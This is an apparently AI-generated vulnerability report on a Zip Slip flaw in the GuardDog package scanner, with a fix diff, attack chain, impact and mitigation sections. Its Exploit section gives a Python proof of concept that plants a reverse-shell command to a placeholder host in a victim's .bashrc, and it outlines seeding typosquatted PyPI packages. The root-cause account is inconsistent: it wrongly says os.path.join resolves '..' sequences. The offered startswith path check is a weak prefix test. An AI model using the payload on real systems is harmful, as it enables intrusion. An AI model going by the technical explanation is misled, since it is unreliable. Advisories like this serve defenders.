CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-22871
9.80.63%

CVE-2026-22871: When the Watchdog Bites the Hand That Feeds It

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 20, 2026·5 min read·14 visits

PoC Available

Executive Summary (TL;DR)

GuardDog < 2.7.1 contains a Zip Slip vulnerability. Scanning a malicious package allows the attacker to overwrite files (like ~/.bashrc) on the researcher's machine, leading to RCE.

GuardDog, a popular tool for identifying malicious PyPI packages, suffered from a critical path traversal vulnerability. Ironically, scanning a weaponized package could result in the researcher's machine being compromised via Arbitrary File Overwrite and Remote Code Execution (RCE). The flaw stemmed from improper usage of Python's `zipfile` library.

The Hook: The Ouroboros of Security Fails

There is a special place in the inferno of irony for security tools that become the very attack vector they were designed to prevent. Enter GuardDog, a CLI tool by DataDog used by researchers and CI pipelines to identify malicious PyPI packages. Its job is to sniff out bad code in the supply chain.

But prior to version 2.7.1, GuardDog had a nasty habit: it would blindly obey the directory structure of the packages it scanned, even if that structure meant writing outside the sandbox. This is the digital equivalent of a bomb disposal robot that detonates because it followed the "Press Here" sticker on the IED.

If you are a security researcher analyzing malware, or a DevSecOps engineer running GuardDog in your CI/CD pipeline, this vulnerability (CVE-2026-22871) meant that simply looking at a malicious package could compromise your entire system. The hunter becomes the hunted.

The Flaw: A Classic Case of "Helping" the Library

The vulnerability is a textbook implementation of Zip Slip (CWE-22), but with a twist. Usually, Zip Slip happens when developers use extractall() without sanitizing member names. In this case, the developer actually used the singular extract() method, which is generally safer because it handles some sanitization internally.

However, the developer tried to be helpful. Instead of letting the library decide where to put the file relative to the target directory, they manually constructed the absolute path using os.path.join before passing it to the library.

Here is the logic fail: Python's zipfile.extract(member, path) expects path to be the directory where the file should go. If you pass it a path that has already resolved .. sequences (which os.path.join does on the file system level), the library looks at it and says, "Okay, you want me to extract this file to /home/user/.bashrc? You're the boss!" It effectively bypassed the library's internal checks by feeding it a pre-poisoned path.

The Code: The Smoking Gun

Let's look at the diff in guarddog/utils/archives.py. This is a masterclass in how one line of "explicit" code can destroy your security model.

The Vulnerable Code:

# The dev manually joins the target dir with the potentially malicious filename
# BEFORE passing it to zip.extract.
zip.extract(file, path=os.path.join(target_directory, file))

If file is ../../../../etc/passwd and target_directory is /tmp/scan, os.path.join resolves this (depending on the OS and context) or simply constructs a path that the zipfile library interprets as the destination root. The library thinks the entire path is the output directory.

The Fix (Commit 9aa6a72):

# The fix is to stop helping. Just tell the library WHERE to extract,
# and let IT handle the filename sanitization.
- zip.extract(file, path=os.path.join(target_directory, file))
+ zip.extract(file, path=target_directory)

By passing only target_directory, the zipfile library takes the malicious filename ../../foo, strips the directory traversal characters (sanitizing it to just foo), and extracts it safely inside target_directory.

The Exploit: Weaponizing the Cure

Exploiting this is trivial and requires no sophisticated memory corruption—just a malformed zip file. Standard zip tools often prevent you from creating archives with ../ in filenames, but we're hackers; we write our own zip headers.

The Attack Chain:

  1. Craft the Payload: We create a Python script to generate a zip file. We add a file entry named ../../../../../../home/ubuntu/.ssh/authorized_keys (or .bashrc for persistence).
  2. Inject Content: We write our public SSH key or a reverse shell command into that entry.
  3. Bait the Trap: We publish this package to PyPI (typosquatting a popular lib) or send it to a researcher saying, "Hey, check out this suspicious package I found!"
  4. The Trigger: The victim runs guarddog scan malicious-pkg.zip.
  5. Game Over: GuardDog extracts the file. The traversal sequence escapes the temporary scan directory. The victim's SSH keys are overwritten. We now have shell access.
import zipfile
 
# Quick PoC Generator
zf = zipfile.ZipFile('exploit.zip', 'w')
# This file breaks out of the scan dir and drops a shell
zf.writestr('../../../../../home/victim/.bashrc', 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1')
zf.close()

The Impact: Why You Should Care

This is rated Critical (CVSS 9.8) for a reason. While GuardDog isn't a long-running service exposing a port to the internet, it operates in high-trust environments.

CI/CD Poisoning: Many organizations run GuardDog in their CI pipelines to prevent supply chain attacks. If an attacker submits a PR that triggers a GuardDog scan, this vulnerability allows them to break out of the scan container, steal AWS credentials from the environment, or poison the build artifacts of the legitimate application.

Researcher Compromise: Security researchers are the primary user base. Compromising a researcher's machine often grants access to other sensitive vulnerabilities, private keys, and restricted networks. It is a high-value target for sophisticated actors.

The Mitigation: Leash Your Dog

The fix is straightforward: Update GuardDog to version 2.7.1 immediately. If you are using GuardDog in automated pipelines, force a rebuild of your container images to ensure the new version is pulled.

For developers writing file extraction logic:

  1. Never trust filenames inside an archive.
  2. Never perform manual path arithmetic on untrusted input before passing it to filesystem APIs.
  3. Use the zipfile module's built-in protections, or better yet, verify the canonical path of the destination:
dest_path = os.path.join(target_dir, member_name)
if not os.path.abspath(dest_path).startswith(os.path.abspath(target_dir)):
    raise Exception("Zip Slip attempt detected!")

Official Patches

DataDogOfficial patch on GitHub

Fix Analysis (1)

Technical Appendix

CVSS Score
9.8/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS Probability
0.63%
Top 30% most exploited

Affected Systems

Workstations of Security ResearchersCI/CD Pipelines (Jenkins, GitHub Actions, GitLab CI)Automated Malware Analysis Sandboxes

Affected Versions Detail

Product
Affected Versions
Fixed Version
guarddog
DataDog
< 2.7.12.7.1
AttributeDetail
CWE IDCWE-22 (Path Traversal)
CVSS v3.19.8 (Critical)
Attack VectorNetwork (Malicious Package)
ImpactRCE / Arbitrary File Overwrite
Affected Componentguarddog.utils.archives.safe_extract
EPSS Score0.63%

MITRE ATT&CK Mapping

T1083File and Directory Discovery
Discovery
T1574Hijack Execution Flow
Persistence
CWE-22
Path Traversal

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Known Exploits & Detection

GitHubAdvisory describing the Zip Slip vector

Vulnerability Timeline

Patch Merged
2026-01-09
CVE Published
2026-01-13

References & Sources

  • [1]GitHub Advisory
  • [2]NVD Detail

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.